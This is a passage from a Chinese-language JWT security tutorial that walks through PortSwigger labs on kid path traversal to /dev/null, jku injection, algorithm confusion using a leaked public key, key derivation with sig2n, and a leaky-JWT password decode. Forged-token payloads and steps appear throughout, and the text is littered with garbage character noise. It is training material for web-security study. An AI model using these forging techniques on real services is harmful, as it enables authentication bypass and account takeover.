4 N- B( \: L4 d# T+ z

& D9 O/ }! {" x- x$ ]

% u0 v2 I& @8 C Step 8：然后切换至repeat的"JSON Web Token"界面，将kid修改成自己生成的JWK中的kid值，将jku的值改为exploit 6 N5 x3 v- v5 _- @

6 J+ L& r1 r/ @/ b, g( y7 e x

" u3 X1 P$ o7 \8 n( n! p8 r$ `

4 Y0 b0 D! r0 C5 q

4 t4 w+ T5 ]- |2 n/ R

6 Y) P) [ N, k7 F7 \5 L! Z9 \

: B5 s' b9 e/ T D1 n' Q Step 9：切换sub为administrator

% w0 z/ F1 Z2 T5 S

Step 10：点击下面的sign，选择Don’t modify header模式

0 ]& a, K4 Q9 S: j! q$ A4 \- @

. s& b. N0 H3 [. G Step 11：更改请求路径发送请求成功越权 1 Q; R' B* C) L8 }/ ?8 `' Y$ z

* u, r5 K/ \% |6 u

W, c9 f- P/ n Step 12：请求敏感路径删除carlos用户 1 q$ w, r/ w: B

# L8 }" K: N7 N1 N( _& n; O6 a( c

9 D( |$ o# k3 L- j. k4 M Step 13：成功解题 ) w$ X4 k1 m" f% F! a l1 @6 @

: m5 d) F& C( u: F& R. O7 T : i1 w8 C, {$ d

9 \6 e, E! i& m6 x# d* Y

( [; d6 W, g/ W) _0 C. _, \ # 注入场景3

2 L) v6 K- n5 L5 Q

服务器可能使用几个密钥来签署不同种类的数据，因此JWT的报头可能包含kid(密钥id)参数，这有助于服务器在验证签名时确定使用哪个密钥，验证密钥通常存储为一个JWK集，在这种情况下服务器可以简单地查找与令牌具有相同kid的JWK，然而JWS规范没有为这个ID定义具体的结构——它只是开发人员选择的任意字符串，例如:它们可能使用kid参数指向数据库中的特定条目，甚至是文件的名称，如果这个参数也容易受到目录遍历的攻击，攻击者可能会迫使服务器使用其文件系统中的任意文件作为验证密钥，例如：

: y9 V( p& t+ k) ^5 X

, A! i9 c, o! [% S: R- @( ]/ ~ {
    "kid": "../../path/to/file",
8 ]1 \+ G( ~0 ?1 S( E7 C' w    "typ": "JWT",
$ |' z, a% y6 F Z0 G7 t    "alg": "HS256",
    "k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}

7 D7 K* Z5 Z+ L: a4 t3 j

2 T7 ~' W1 y/ Y& H( m 如果服务器也支持使用对称算法签名的jwt就会特别危险，在这种情况下攻击者可能会将kid参数指向一个可预测的静态文件，然后使用与该文件内容匹配的秘密对JWT进行签名，从理论上讲您可以对任何文件这样做，但是最简单的方法之一是使用/dev/null，这在大多数Linux系统上都存在，由于这是一个空文件，读取它将返回一个空字符串，因此用空字符串对令牌进行签名将会产生有效的签名
靶场地址：https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal

, C& }( G y, ~0 m

, H* P6 ?) q* @6 a8 f

Step 1：点击上方"Access The Lab"进入靶场 * Q1 H" _7 F! r' l& y, _

, K( {6 Z( p% n0 h+ z% g2 }

3 m# E5 X: l+ v8 R Step 2：登录靶场 # {, e% y" t8 J$ u2 \7 }6 t6 B$ v

) z9 W6 A9 m; w6 |, Q+ }

9 J- k- }, k+ d4 U" @+ c

6 j, Q& ?0 l( S: L: F Step 3：登录后进入到如下邮箱更新界面

Step 4：使用burpsuite的插件生成一个对称密钥(Symmetric Key)并将k的值修改为"AA=="即为null , I: u: H$ J7 X6 d9 C

+ P5 W& B% K" W; j* L0 M& t. Q

8 I B8 V6 L# P% [2 I- r/ h9 K+ |* H

5 j1 X! b, _) ?( F. y% } {
    "kty": "oct",
, ^( c- a8 [9 U0 a- W, U' |    "kid": "38576880-33b7-4446-ade4-f1a78bb6d5c2",
, Y% ]+ r( f. ?8 Q' x' ~    "k": "AA=="
} * c( D" c& w; U" I% o+ [: Q; h: a

x3 C) z: D) V

( F& O2 o* z0 E1 a8 r6 z( x

) T1 `* A7 P' C

Step 5：拦截一个请求将其发送到repeat模块 1 P' n' R' J9 f; U4 X) F

Step 6：此时直接访问/admin——提示"401 Unauthorized"

0 z7 d, z2 R- h9 D + D8 \2 v2 E8 B/ A; W

1 z% G" b( B3 h4 o8 T7 T+ R6 _- D Step 7：在JSON Web Token界面中修改kid值和sub进行目录遍历，这里的"/dev/null"文件名与"AA=="一致都为null，对称密钥，所以可以成功绕过

4 }/ f6 V$ ]4 k9 N& S

* z. L! t' J& u! J# Q; y( @+ l

# u, h8 ^+ x. q+ p {
    "kid": "../../../../../../../dev/null",
    "alg": "HS256"
8 I6 D+ j2 J% x. h, ^! W# g! v} 1 b9 Z V w* Z: T) i. C+ V

. b4 L" W4 O) O8 o ; b3 a8 i- B, K1 W3 G9 t6 M7 H

# W' ^2 o. l2 e7 g9 G

Step 8：点击sign选择OCT8 的密钥攻击

% z* H5 f) B9 I$ g" v c / U$ I, S1 {9 u) \" o# f9 E! V

: Y$ s6 q7 h; P

# ]$ m$ v) B6 Y- y# G2 g+ Q

Step 9：成功越权

8 W# \0 s$ w# U3 H# Z

# H% _( I6 F; z( w1 N! Z5 s 4 }3 P7 P/ U1 y3 M3 i1 M

Step 10：调用敏感接口删除carlos用户完成解题 / I: O. L1 v% q

) B4 g5 F8 }- p8 \/ F

- F* X/ R0 N M" A |

' ^# k+ z) a" D) w" d 0 j5 v/ h7 i; a6 T6 f% m

* S, L" W* v( A5 M

" p# z! }- R# o. y JWT算法混淆 ) N3 m9 J% }+ ^

算法混淆

/ Q/ \' f9 o# F( g9 q1 R 算法混淆攻击(也称为密钥混淆攻击)是指攻击者能够迫使服务器使用不同于网站开发人员预期的算法来验证JSON web令牌(JWT)的签名，这种情况如果处理不当，攻击者可能会伪造包含任意值的有效jwt而无需知道服务器的秘密签名密钥
JWT可以使用一系列不同的算法进行签名，其中一些，例如:HS256(HMAC+SHA-256)使用"对称"密钥，这意味着服务器使用单个密钥对令牌进行签名和验证，显然这需要像密码一样保密 0 i" h8 a( t' w4 v1 `, O

% T Y) M0 R. b9 ^; q& l # z6 ~$ d* ]7 x$ H% u4 ^

2 `& a8 K: c; S/ L& K6 W6 W" T6 I

其他算法，例如:RS256(RSA+SHA-256)使用"非对称"密钥对，它由一个私钥和一个数学上相关的公钥组成，私钥用于服务器对令牌进行签名，公钥可用于验证签名，顾名思义，私钥必须保密，但公钥通常是共享的，这样任何人都可以验证服务器发出的令牌的签名 9 W$ J6 U( S4 f0 A2 k. z

9 p! b" i/ f: A; l0 Z3 e

4 O9 _6 r1 [9 W# N* `

6 Z* ]- u! D" c/ F$ R' t0 t& J2 n 混淆攻击

算法混乱漏洞通常是由于JWT库的实现存在缺陷而导致的，尽管实际的验证过程因所使用的算法而异，但许多库都提供了一种与算法无关的方法来验证签名，这些方法依赖于令牌头中的alg参数来确定它们应该执行的验证类型，下面的伪代码显示了一个简单的示例，说明了这个泛型verify()方法在JWT库中的声明： k- @' m2 s ^9 e- ~

8 e+ I, Z$ m* d

. Y5 w3 H6 t' q

function verify(token, secretOrPublicKey){
" w2 Y* F/ Z: }" O0 t: W    algorithm = token.getAlgHeader();
* t( x, Y+ p. ` W- {    if(algorithm == "RS256"){
        // Use the provided key as an RSA public key
" b6 C6 H! Q+ ?- G6 ~0 R    } else if (algorithm == "HS256"){
        // Use the provided key as an HMAC secret key
    }
} $ f: J1 p" A( U/ i

6 K% k7 |( s- S# ~' _

使用这种方法的网站开发人员认为它将专门处理使用RS256这样的非对称算法签名的JWT时，问题就出现了，由于这个有缺陷的假设他们可能总是传递一个固定的公钥给方法，如下所示: - n- R& M* q5 E- n7 l& e

. M: J7 {. |( i9 D3 l

publicKey = <public-key-of-server>;
$ f) x& Q% |1 d; M3 `$ o( Etoken = request.getCookie("session");
verify(token, publicKey); 3 I- c3 c! [6 e& d$ ?' }. y

8 W+ [) Y X% k+ {4 _2 C

在这种情况下如果服务器接收到使用对称算法(例如:HS256)签名的令牌，库通用verify()方法会将公钥视为HMAC密钥，这意味着攻击者可以使用HS256和公钥对令牌进行签名，而服务器将使用相同的公钥来验证签名(备注:用于签署令牌的公钥必须与存储在服务器上的公钥完全相同，这包括使用相同的格式(如X.509 PEM)并保留任何非打印字符，例如:换行符,在实践中您可能需要尝试不同的格式才能使这种攻击奏效)
攻击流程简易视图如下： . O6 A4 w# L) H/ T; i( i

! y/ l9 ?; Q- J( y9 Z: O 4 ]" r) n( I0 r& e& g, m! z

攻击演示 9 P `0 }4 k$ j6 g6 P* I. t1 c$ X

- U2 U" j1 _# f b) k# z( o5 w8 r

. T! N$ e ^+ e6 p/ ?6 o/ O 靶场地址：https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion

- V, e0 O1 [- o, W( \. [

Step 1：点击"Access the lab"访问靶场 + q/ a4 Y9 e4 u' H9 U2 L

8 I6 n5 a% d/ N& U) Q

2 {2 r* T) K/ t0 M

+ c G j/ A0 B) k. l) a Step 2：使用账户密码登录

( Q/ a% r; {, L2 `! q. b2 M

8 [& Q7 c& |% u8 m; S! q# P Step 3：登录之后进入到用户邮箱更新操作界面 8 S5 b$ [# z+ ]' N

0 W1 C0 y: W0 Y; b; b. Z# p- J

0 w/ D% H! c L3 k+ j

Step 4：服务器有时通过映射到/jwks.json或/.well-known/jwks.json的端点将它们的公钥公开为JSON Web Key(JWK)对象，比如大家熟知的/jwks.json，这些可能被存储在一个称为密钥的jwk数组中，这就是众所周知的JWK集合，即使密钥没有公开，您也可以从一对现有的jwt中提取它

6 \) @& k% y* B9 P% Q

& A5 `+ J7 V! ~3 u

" ~& N! h3 o: ] {
    "keys": [
        {
+ l4 c0 d0 v3 t: j' s1 I            "kty": "RSA",
. T8 J: h o2 U( s( O! l            "e": "AQAB",
            "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
! V" C& Z. y! z4 [; N" n            "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
        },
: c; k; t' `8 n        {
            "kty": "RSA",
# G. Y r0 z% C' }3 f            "e": "AQAB",
4 ?3 b2 B. @8 i. \% @            "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
            "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
        }
# r6 j5 C! _. q. u4 `* c2 {: I    ]
3 W8 o; v5 y3 f+ k' `, Z6 r} , b3 m9 q6 b: ^1 b8 b" G

5 d# w) U; X$ Y( j ?: ?

9 f% I5 t" ^% m3 X

% Y# U+ Y$ |$ u9 o! _. p- B# x 于是乎我们可以直接访问/jwks.json接口获取到服务器的公钥信息，在此处我们将JWK复制下来，作为我们第二部的RSA Key
https://0aad003404004c0b817dcff9 ... ademy.net/jwks.json

6 G, ^/ e1 Y8 R" H% t9 d

! K9 ]3 x9 a' K5 v/ R {
  "keys": [
! S$ U# N4 Z+ V( t& W; |6 g    {
! z9 A1 a9 j" G& F/ C      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "63624c36-bfd8-4146-888e-6d032ad4fe18",
      "alg": "RS256",
0 v5 K _5 e# J, {, M" I- I- U' K9 x" [      "n": "zsiIsVqAKSpOnOxMKrI0hT3p8m_NK3VoejFnt4Hx2CFzvJsZ4_9mmoIVwi_nXYr7NtNV7stOSS4MGzYdJ57t4v83B9h7uI1fdKSp-L-cisg31S0Wm5B_LDnvuABFMcShJ-DKTgEYfLHaG31JudlyJdnfgNIIa0XL-wbGh7Xshf8RtzR8FC2DfApX_-KXYNnHxnTKTPXl5unBgCxyny2n2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY-E2FXIoPIt8m_VSXlsKyZpjpfXTJJZo_IqazAl1XBW6bjwWjxwee0Xbyt7M1_1dTKjaAw"
) u) c% R+ y9 s1 C& o& `5 x. j8 @5 U    }
4 O- h f: |8 l* R  ]
}

  4 T+ z- i+ [$ l' c

* x% {4 Q' P* P }( x# Q& c9 s 7 _( X* _: e2 M/ h3 R' G

7 l( [7 _2 _$ F+ R

: n/ p/ u) r; pStep 5：在Burpsuite的JWT Editor Keys中点击"New RSA Key"，用之前泄露的JWK而生成一个新的RSA Key ; {: e; j1 S4 }$ \

1 e- c$ M6 H3 k' z& ^6 Z$ u

{
2 g# M' t' A ]      "kty": "RSA",
      "e": "AQAB",
+ ?( f; O9 a2 _7 U7 G      "use": "sig",
3 N1 Y4 j+ }6 t) w. j- j      "kid": "63624c36-bfd8-4146-888e-6d032ad4fe18",
9 p9 X$ |, c& \6 u( |7 u+ W      "alg": "RS256",
( Y. O2 ?8 z7 T) ]- A9 ~3 m" |      "n": "zsiIsVqAKSpOnOxMKrI0hT3p8m_NK3VoejFnt4Hx2CFzvJsZ4_9mmoIVwi_nXYr7NtNV7stOSS4MGzYdJ57t4v83B9h7uI1fdKSp-L-cisg31S0Wm5B_LDnvuABFMcShJ-DKTgEYfLHaG31JudlyJdnfgNIIa0XL-wbGh7Xshf8RtzR8FC2DfApX_-KXYNnHxnTKTPXl5unBgCxyny2n2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY-E2FXIoPIt8m_VSXlsKyZpjpfXTJJZo_IqazAl1XBW6bjwWjxwee0Xbyt7M1_1dTKjaAw"
$ n2 s5 |3 }5 X+ z$ ^1 t. Y4 a' G} * H+ h9 c$ |- {, S7 H4 d O

- ^/ H; U- d1 C R% L

. `+ z3 s0 b/ G3 V4 R; n

9 `3 P F2 T/ u/ u* E8 m L( M6 h0 O

Step 6：选中"Copy Public Key as PEM"，同时将其进行base64编码操作，保存一下得到的字符串(备注:上下的一串-----END PUBLIC KEY-----不要删掉) 5 ?1 b5 `7 l5 A" Q }* s1 ~! ?

7 T& r% o$ |; ~- }0 h6 z; a7 f* i

7 [2 Q# G# C7 x$ i9 C: t% A& ? -----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzsiIsVqAKSpOnOxMKrI0
8 |1 ^) ~3 W) a- x( bhT3p8m/NK3VoejFnt4Hx2CFzvJsZ4/9mmoIVwi/nXYr7NtNV7stOSS4MGzYdJ57t
0 o1 ]. L+ F( Z: p4v83B9h7uI1fdKSp+L+cisg31S0Wm5B/LDnvuABFMcShJ+DKTgEYfLHaG31Judly
9 k, N! |& `$ Y5 j+ w/ ~( EJdnfgNIIa0XL+wbGh7Xshf8RtzR8FC2DfApX/+KXYNnHxnTKTPXl5unBgCxyny2n
2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY+E2
G+ y" k3 Y( B" B+ DFXIoPIt8m/VSXlsKyZpjpfXTJJZo/IqazAl1XBW6bjwWjxwee0Xbyt7M1/1dTKja
! z: H$ ?1 T! z2 r7 c4 _: FAwIDAQAB
, t( x5 E% {7 I-----END PUBLIC KEY-----

- P, n8 l: z; o$ p0 v7 G2 ?! Z

0 w$ \: o! m) C. Z4 o, j. S. o/ t

/ l- {& ], X. ]: z! ^$ f' Z1 O: Z$ A& \

. k4 H6 t( R$ D" U base64后结果： . S+ w% n* c- ]$ ~5 ^

4 E6 d; |7 k' \) K8 m

LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6c2lJc1ZxQUtTcE9uT3hNS3JJMApoVDNwOG0vTkszVm9lakZudDRIeDJDRnp2SnNaNC85bW1vSVZ3aS9uWFlyN050TlY3c3RPU1M0TUd6WWRKNTd0CjR2ODNCOWg3dUkxZmRLU3ArTCtjaXNnMzFTMFdtNUIvTERudnVBQkZNY1NoSitES1RnRVlmTEhhRzMxSnVkbHkKSmRuZmdOSUlhMFhMK3diR2g3WHNoZjhSdHpSOEZDMkRmQXBYLytLWFlObkh4blRLVFBYbDV1bkJnQ3h5bnkybgoyQ3dvQ0lpWWV0N3M3WDFjM3Fod2t0V2s2eEpUbXZrcmQ4NUtCbERTeUVqQmhFUFBYcmJWZnFvOHNOeGtZK0UyCkZYSW9QSXQ4bS9WU1hsc0t5WnBqcGZYVEpKWm8vSXFhekFsMVhCVzZiandXanh3ZWUwWGJ5dDdNMS8xZFRLamEKQXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==

4 R! h% ^" S! _% b . i g- ^; h0 J+ m/ `, g! W

Step 7：在JWT Editor Keys处，生成新的对称加密Key，用之前保存的base64编码去替换k的值 ; ^, q* [) M0 o. V" W) l

& t1 |2 [& O3 q; G: \3 G

$ s8 ?- t5 N0 w1 W2 q) ~/ g9 C d, `3 p9 e Z {
    "kty": "oct",
* h7 `# j! v/ F; s! O- N* |    "kid": "63b7b785-4d35-4cb7-bbc6-9d9e17dcf5fe",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6c2lJc1ZxQUtTcE9uT3hNS3JJMApoVDNwOG0vTkszVm9lakZudDRIeDJDRnp2SnNaNC85bW1vSVZ3aS9uWFlyN050TlY3c3RPU1M0TUd6WWRKNTd0CjR2ODNCOWg3dUkxZmRLU3ArTCtjaXNnMzFTMFdtNUIvTERudnVBQkZNY1NoSitES1RnRVlmTEhhRzMxSnVkbHkKSmRuZmdOSUlhMFhMK3diR2g3WHNoZjhSdHpSOEZDMkRmQXBYLytLWFlObkh4blRLVFBYbDV1bkJnQ3h5bnkybgoyQ3dvQ0lpWWV0N3M3WDFjM3Fod2t0V2s2eEpUbXZrcmQ4NUtCbERTeUVqQmhFUFBYcmJWZnFvOHNOeGtZK0UyCkZYSW9QSXQ4bS9WU1hsc0t5WnBqcGZYVEpKWm8vSXFhekFsMVhCVzZiandXanh3ZWUwWGJ5dDdNMS8xZFRLamEKQXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

- g1 d0 r: W* R: m( ?

8 K" _3 C) L2 ]2 Z. x( D& f ' s4 Z4 c2 S. d$ \4 e

+ L" _( n8 M) [. e. d

Step 8：捕获请求数据报并将其发送到repeat模块 - O- C9 u# h1 x! j. O5 z

/ I+ K" Z3 R8 p+ y. A

5 r2 x* S1 O9 Y. I& _, o% s

' j4 s+ X4 f9 p7 b) {7 y

, O- S) t7 t& x 此时直接请求/admin是无法请求到的 * U+ H8 _" p5 I$ b7 X

7 n* `. a% \1 ^( r F! K

) p( x1 B1 J E! K

Step 9：随后修改alg为HS256，修改sub为administrator并进行Sign操作

8 l5 y7 z- h' n$ s; z( s, d1 {

# v# b; e* D! s, D: f . {* G. W/ O1 ?2 Y* l: ^# w3 R

+ a/ U8 `& X. F! ?2 \ Y

Step 10：重新发送数据包可以看到回显成功

+ R& I) S' T/ W2 V6 X6 a @

9 e" I8 B% f) r& W

Step 11：请求敏感连接删除用户完成解题 ' Z7 G; a4 b# \' |+ a& d8 ?

8 P4 J8 b7 }# B4 w# ?* S# h1 k

7 x" n. F9 v# S$ p- d# ]' |9 P& V

, J: P1 M+ _2 ^* W' q

6 K8 _! l2 w/ H0 Z( \ 令牌派生公钥

9 _9 ~% \9 X: x3 H% X. g

) v& v) x2 S) g3 t3 {" K' ^" ^ 基本介绍

" w. Y- Z" M7 \- t; j ^6 [

- s( N5 O( E: _5 Z 在公钥不可用的情况下您仍然可以通过使用jwt _ forgery.py之类的工具从一对现有的JWT中获取密钥来测试算法混淆，您可以在rsa_sign2n GitHub存储库中找到几个有用的脚本
# J) t( [& y% k6 B: a2 m) nhttps://github.com/silentsignal/rsa_sign2n

( z4 w% s3 W Q5 ?9 N& L. c& X/ L

" d& K" o5 Y, q6 I W

4 T, A& s( @* A 简易示例 9 D5 T2 p( M, ~

0 ~* T. ]" |$ K9 W

7 W; u0 Z. G1 @ 靶场地址：
- j1 V# Z ]! O( \% |6 A9 {https://portswigger.net/web-secu ... with-no-exposed-key

3 n2 E2 [. ` L) ]% H* H+ k* ^! |

Step 1：安装常规操作登录登出，再登录，获取两个JWT

6 R4 R0 T @! O4 X 4 J% ~$ w. ~- r1 y0 F C$ ~& R

7 H6 e; I/ T5 N, z

+ N: I0 t( S4 ~; Q) M! L 随后将其放到Port提供的docker工具里面运行，运行的命令如下 7 M0 U- p- S6 k, j! I e

n; l! ~5 N; [& p- I2 E

9 r3 U$ j0 N9 v' ?% R# @ docker run --rm -it portswigger/sig2n <token1> <token2>

0 s9 r* @! H0 x5 c( ?( m7 f

$ k* z, d4 c: e( ?

1 m* P6 f8 b* A/ k# G+ z jwt _ forgery.py脚本会输出一系列token的存在情况值 3 Q1 ~( p: \2 u4 F- G4 o# d

+ j G& n7 ]1 y; g

Step 2：这里我们尝试每一个Tempered JWT，Port这里给了提示说是X.509 形式的，所以我们只需要将X.509形式的JWT进行验证即可，当Response回应200时代表token是有效的，若为302则代表了重定向，下图是一个成功的案例 . `' |$ [( w# @) [) S0 }

4 W8 R; |' x4 T1 u) t6 }% Y# ~

$ M+ \; h2 @" U8 K2 g' W! m

' E# H6 e; S) g8 n/ Q, s/ S

Step 3：将JWT的Base64编码拿过来先放到记事本里面暂存，在Burpsuite的JWT Editor Keys点击New Symmetric Key，将上面的Base64编码拿过来替换此对称密钥的k值，生成对称密钥之后进行和之前攻击一致的Sign操作

9 Z- a+ G4 j) |; G$ Q3 c, @

( y! \' E, r& V

敏感信息泄露 ( o! `8 O6 [2 q8 C* [3 T2 v* Z8 s W$ G$ F

9 k' ~4 S; p4 N: S! `) E& _6 @ 基本介绍 6 [, V9 J) d5 t# j5 t! v8 |- J

* Q- \6 T1 u+ Z+ m

JWT敏感信息泄露是指攻击者通过某种方式获取了JWT中包含的敏感信息，例如:用户的身份、权限或其他敏感数据，这种攻击可能会导致恶意用户冒充合法用户执行未经授权的操作或者访问敏感信息，常见的JWT敏感信息泄露方式包括：

/ \' ~3 c* x% @! r5 m
• 窃取JWT：攻击者通过窃取JWT令牌来获取其中的敏感信息，这可以通过窃取存储在客户端的JWT令牌或者通过攻击服务器端的JWT签名算法来实现 9 _6 Z J+ E" Y: l( G7 t
( T9 _( c0 X9 O7 a3 T* H( i
• 窃取载荷：攻击者可以在传输过程中窃取JWT的载荷部分，这可以通过窃听网络流量或者拦截JWT令牌来实现 $ L9 ^% p) O1 y) h$ q- [
• 3 T! F$ K1 @' z! i 暴力破解：攻击者可以通过暴力破解JWT签名算法来获取JWT中包含的敏感信息

简易示例 4 R! O6 @5 o4 |

$ D4 F" i: S" ]2 o8 p

/ S# h# ^5 l0 D( r* b 靶场地址：https://authlab.digi.ninja/Leaky_JWT

2 U- b% N6 ?9 K% h

2 w! a5 C' t0 q2 C' B6 i, [# H" f 靶场JWT信息如上所示，而在实战中我们可以去抓包，如果抓到的数据包中有类似这样的JWT认证那我们就可以直接拿去解密了，我们拿到的数据是这样的：

/ x8 v$ E4 y- o& h- M

8 F9 g9 Y' m1 U6 ^+ w

L2 w8 t5 }# j. c eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0.6j3NrK-0C7K8gmaWeB9CCyZuQKfvVEAl4KhitRN2p5k 6 i3 s# z9 f8 C# I# j+ D

2 V9 |& r: X) f

7 w9 H9 d1 Z5 ]# v3 ?" _7 B7 z 上面是一个标准的JWT认证的格式，其包含Header、Payload、Signature三个部分，每个部分之间又以"."号分割，他这里的JWT认证是经过base64加密的，所以我们这里先要拿到base64解密网站去解密一下
https://base64.us/ $ ?9 V% i. C0 X6 `" @$ N5 R6 q

; x6 P+ D# w9 o, [7 ~

在这里我们可以看到payload部分的数据解密出来后包含password字段信息，后面解出来的是一串MD5数据，之后我们将其拿到MD5在线解密网站进行解密操作： 8 X! L1 d8 \: E: A5 `; ^1 |! h

: |3 E% k4 V* u+ M" G* Q

/ l8 i* H. [2 S! T& G

随后得到密码Password1并使用其作为密码，使用joe作为用户名进行登录操作：

/ `* {; I) N1 M( I' @

/ J! p2 j) |4 e: |1 Y

; L1 b7 G/ u2 ?* e* ^; _ 随后成功登录：

& v6 l( E2 K. g' C

; Z9 u! I1 u* C, [5 w. v 6 S2 d$ f* x! g7 B

# M- x0 C: f( E1 V 密钥硬编码类 2 ^, N! A% w% ^# E1 x0 T

基本介绍 7 O& H4 i2 \; g1 {* P' A

+ `0 E. a$ h* V" S8 Z

JWT中的密钥是用于对令牌进行签名或加密的关键信息，在实现JWT时密钥通常存储在应用程序代码中即所谓的"硬编码"，这种做法可能会导致以下安全问题： + e% g3 n. S0 K! m. x+ d5 h. F

1 Q" e& U/ C3 E4 `% L# Q2 k3 \
• 密钥泄露：硬编码的密钥可以被攻击者轻松地发现和窃取，从而导致JWT令牌被篡改或解密，进而导致安全漏洞
• 密钥管理：硬编码的密钥难以进行集中管理，无法灵活地进行密钥轮换、密钥失效等操作，从而增加了密钥管理的难度
* g5 [+ |8 q/ o/ l h# p6 v
• 密钥复用：硬编码的密钥可能会被多个应用程序或服务共享使用，这可能会导致一个应用程序出现安全漏洞后，其他应用程序也会受到影响

漏洞案例

JWT密钥硬编码： Z+ F4 e- t- G$ A" E0 O5 g

% v" r4 g1 d- }. i/ b. g! q

* U: ]" P6 H1 l/ C/ _/ p+ \

- I4 ~& `, b& t4 W 会话续期

; @) A9 q& r+ R1 H& n 续期机制

2 U1 E3 {# F; X- A# F) T3 o& _

& p; y Z( L5 d3 f2 r JWT(JSON Web Token)的续期机制是指在JWT过期之后通过一定的方式来更新JWT令牌，使其可以继续使用以减少用户需要频繁重新登录的情况，常见的JWT续期机制包括：

/ h2 H/ e9 j$ b6 v2 S

• 刷新令牌(Refresh Token)：在用户登录时除了获取JWT令牌外还会获取一个刷新令牌，当JWT令牌过期时可以使用刷新令牌来获取新的JWT令牌，刷新令牌的有效期通常比JWT令牌长并且会在每次使用后更新有效期以确保安全性
• 延长有效期：在JWT令牌过期之前服务器可以根据某些条件来判断是否需要延长JWT令牌的有效期，例如:用户在活跃状态、令牌过期时间较短等，如果满足条件服务器将发送一个新的JWT令牌以替换原来的JWT令牌
2 a1 l' P4 {; h* E! [( k/ R5 }
• 自动续期：在使用JWT令牌时服务器可以检查JWT令牌的有效期并在需要时自动为其续期，这通常需要与前端应用程序进行配合以确保用户可以无缝地使用应用程序，而不需要重新登录 6 C$ Y6 T8 M0 ^' a, @
& [) v; N$ U* p1 Y! p

" G7 R3 ?. g, B

! X# }* N+ g* A# D# j/ A 续期问题

) I% N" `+ z9 B 无限使用 # D( K# R' o4 ?+ e

0 f+ p y! Z$ l* n C

用户登录成功获取到一个JWT Token，JWT Token由包含算法信息的header和包含用户非敏感信息的body以及对header和body数据签名后的sing值拼接base64后生成，body中包含用户token失效时间戳exp(默认1小时)、用户id标识u

! w% c5 F! _! y k

JWT Token有效期为1小时

$ Y% E* J* L* `, C5 Z& f- g0 m- p : U: Q* Y+ G8 U; g7 Z$ e

) n& \% N7 L0 j6 ]

" A8 T N# w6 \1 Z }! K( K

/ a; d6 c% ]6 e6 P4 U 但是在过期后发现使用之前过期的JWT Token可以继续进行会话操作

+ K& ~1 h) }! l+ w4 U+ P, F- F

$ v# }1 y$ G2 o% }0 X% V Token刷新缺陷

JWT Token在续期设计时由于代码编写错误将新老token更新逻辑设计错误，使得新Token和老Token一致，导致JWT 续期失败

# e; k$ j5 [( m/ [3 L

测试效果如下： ; _& Y2 }' L/ n3 J2 n, w* F9 l: ?

% f2 M5 Y* ^! T7 a" t5 x

N个新Token生成

& I( F i" J2 Y0 L; ?+ d* A* N 功能测试时发现JWT Token首次生成时默认失效时120分钟，续期业务逻辑中仅在JWT Token的后1/3时间，也就是80-120分钟时进行续期操作，在此期间用户的Token会进行刷新操作，使用新的Token请求到服务器段，服务器端会返回一个新的JWT Token到前端，供前端使用，但是在续期期间旧的Token可以无限制生成多个有效的JWT Token，存在一定程度上的被利用风险

1 J2 v0 m2 U- k) X( `" w

6 ?( h& I/ I, p C" X; ]4 Z' S

6 M5 `8 v8 l/ |

工具集合

9 {$ R/ b" m' z. N1 U: J' @& z jwt_tool

+ d6 g2 y0 o( L5 a 项目地址 - ], A, P& O1 X8 g* w

3 e$ A8 A* r/ @; X

# z$ Y) _8 i4 ?( Z0 G6 o: [ https://github.com/ticarpi/jwt_tool * u6 E- u' r/ v9 G+ H

1 v' a: k B" b$ d1 U! M+ H4 V) a4 `

! a- J0 c; c" e y

. s! J) b+ k' C4 U I% |( y- N 主要功能

) u; T( i Q* v; k* H" Z) c 1、检查令牌的有效性
2、测试已知漏洞：
. T# r# T, G5 U: d0 @1 f! SCVE-2015-2951：alg=none签名绕过漏洞
CVE-2016-10555：RS / HS256公钥不匹配漏洞
CVE-2018-0114：Key injection漏洞
. O% [" K" `5 i7 Y, o* jCVE-2019-20933 / CVE-2020-28637：Blank password漏洞
CVE-2020-28042：Null signature漏洞
3、扫描配置错误或已知漏洞
3 w* }8 {+ H/ L3 \+ ~5 @4、Fuzz声明值以引发意外行为
5、测试secret/key file/public key/ JWKS key的有效性
6、通过高速字典攻击识别低强度key
+ a6 D3 W; e8 M1 [+ _* v8 r, O7、时间戳篡改
" L' q9 s/ G. a7 u; T7 U8 Y8、RSA和ECDSA密钥生成和重建(来自JWKS文件)
9、伪造新的令牌头和有效载荷内容，并使用密钥或通过其他攻击方法创建新的签名

9 ]! d* ^9 Q2 A( Q- W: S( [4 s 使用说明

